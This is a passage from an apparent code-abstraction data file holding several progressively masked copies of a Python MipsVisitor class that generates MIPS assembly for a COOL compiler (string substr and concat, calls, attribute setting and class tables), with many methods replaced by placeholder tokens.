self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
